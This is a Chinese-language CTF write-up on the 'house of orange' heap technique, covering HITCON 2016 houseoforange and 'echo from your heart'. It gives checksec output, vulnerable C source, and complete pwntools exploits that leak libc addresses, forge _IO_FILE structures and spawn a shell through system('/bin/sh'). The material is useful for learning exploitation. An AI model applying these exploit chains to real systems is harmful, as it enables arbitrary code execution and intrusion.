对house of orange
的两道经典例题进行了分析。
源程序和相关文件下载:http://file.eonew.cn/ctf/pwn/house_of_orange.zip 。
目录
house-of-orange-500
该题来自Hitcon 2016 houseoforange
,算的上是house of orange
的开山之作,非常经典。
当时的靶机的环境是glibc-2.23
,并且是初代的,之后的glibc-2.23
也是可以利用的,但是偏移略有误差。
安全防护
ex@Ubuntu:~/house$ checksec houseoforange
[*] '/home/ex/house/houseoforange'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
溢出点
标准的堆溢出,在Upgrade
函数中size
有用户控制。
思路
构造house of orange
。
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
# for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
# signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
context.arch = "amd64"
# context.arch = "i386"
# context.log_level = 'debug'
execve_file = './houseoforange'
sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('eonew.cn', 60107)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc-2.23.so')
# Create temporary files for GDB debugging
try:
gdbscript = '''
# b malloc.c:3472
# b malloc.c:5007
# b libc_fatal.c:141
# b abort
b genops.c:779
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def Build(length, name):
sh.sendlineafter('Your choice : ', '1')
sh.sendlineafter('Length of name :', str(length))
sh.sendafter('Name :', name)
sh.sendlineafter('Price of Orange:', '1')
sh.sendlineafter('Color of Orange:', '1')
def Upgrade(length, name):
sh.sendlineafter('Your choice : ', '3')
sh.sendlineafter('Length of name :', str(length))
sh.sendafter('Name:', name)
sh.sendlineafter('Price of Orange:', '1')
sh.sendlineafter('Color of Orange:', '1')
Build(0x3f8, '\n')
# pause()
Upgrade(0x500, 'a' * 0x410 + p64(0) + p64(0xbc0))
Build(0x1000, '\n')
# large bin
Build(0x3f8, 'b' * 8)
# leak libc addr
sh.sendlineafter('Your choice : ', '2')
sh.recvuntil('b' * 8)
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 0x618
log.success('main_arena_addr: ' + hex(main_arena_addr))
# libc_addr = main_arena_addr - 0x389b20
libc_addr = main_arena_addr - 0x3c4b20
log.success('libc_addr: ' + hex(libc_addr))
Upgrade(0x100, 'c' * 0x10)
# leak heap addr
sh.sendlineafter('Your choice : ', '2')
sh.recvuntil('c' * 0x10)
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0x4a0
log.success('heap_addr: ' + hex(heap_addr))
layout = [
'd' * 0x410,
# top_chunk
'/bin/sh\0', p64(0x61),
p64(0), p64(main_arena_addr + 0xa00 - 0x10), # p64(libc_addr + libc.symbols['__GI__IO_list_all'] - 0x10),
p64(2), p64(3),
'z' * 8, p64(0),
p64(0), p64(libc_addr + libc.symbols['system']),
'e' * 0x70,
p64(0), p64(0), # 0xc0
p64(0), p64(heap_addr + 0x8f0)
]
Upgrade(0x1000, flat(layout))
sh.sendlineafter('Your choice : ', '1')
# sh.sendline('id')
# print(sh.recv())
sh.interactive()
clear()
echo from your heart
靶机环境是glibc-2.24
。
针对于glibc-2.24
的vtable
检查的一种绕过机制。
安全防护
ex@Ex:~/test$ checksec echo_from_your_heart
[*] '/home/ex/test/echo_from_your_heart'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void init() {
setbuf(stdin, 0);
setbuf(stdout,0);
setbuf(stderr,0);
alarm(20);
}
unsigned int read_num() {
unsigned char buffer[10];
int i;
for(i = 0;i < 9;i++) {
buffer[i] = getchar();
if(buffer[i] == '\n') {
break;
}
}
if(buffer[i] == '\n') {
buffer[i] = 0;
}
return strtoul(buffer,0,0);
}
int main() {
init();
printf("echo from your heart\n");
int i=5;
while(i) {
printf("lens of your word: ");
unsigned int size = read_num();
if(size > 0x1000) {
printf("too long\n");
exit(1);
}
unsigned char* buffer = (unsigned char*) malloc(size);
printf("word: ");
gets(buffer);
printf("echo: ");
printf(buffer);
printf("\n");
i--;
}
}
溢出点很明显了,标志性的格式化字符串漏洞和堆溢出。
思路
- 格式化字符串泄露地址
- house of orange
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
context.arch = "amd64"
# context.arch = "i386"
# context.log_level = 'debug'
execve_file = './echo_from_your_heart'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
elf = ELF(execve_file)
# libc = ELF('./libc-2.24.so')
libc = ELF('/glibc/glibc-2.26/debug_x64/lib/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def malloc(size, content):
sh.sendlineafter('lens of your word: ', str(size))
sh.sendlineafter('word: ', content)
# pause()
malloc(0x18, 'a' * 0x10 + p64(0) + p64(0xd91))
malloc(0x1000, '%d' * 7 + '#' + '%ld')
# pause()
sh.recvuntil('#')
# libc_addr = int(sh.recvline()) - 241 - libc.symbols['__libc_start_main']
# libc_addr = int(sh.recvline()) - 385 - libc.symbols['__libc_start_main'] # 2.24
libc_addr = int(sh.recvline()) - 267 - libc.symbols['__libc_start_main'] # 2.26
log.success("libc_addr: " + hex(libc_addr))
layout = [
p64(0), p64(0x61),
p64(0), p64(libc_addr + libc.symbols['_IO_list_all'] - 0x10),
p64(2), p64(3),
p64(0), p64(libc_addr + libc.search('/bin/sh\0').next()),
'b' * 0x80,
p64(0),
]
payload = flat(layout).ljust(0xd8, 'c') + p64(libc_addr + libc.symbols['_IO_str_jumps'] - 8) + p64(0) + p64(libc_addr + libc.symbols['system'])
malloc(0x18,'d' * 0x10 + payload)
# pause()
sh.sendline('24')
sh.interactive()
clear()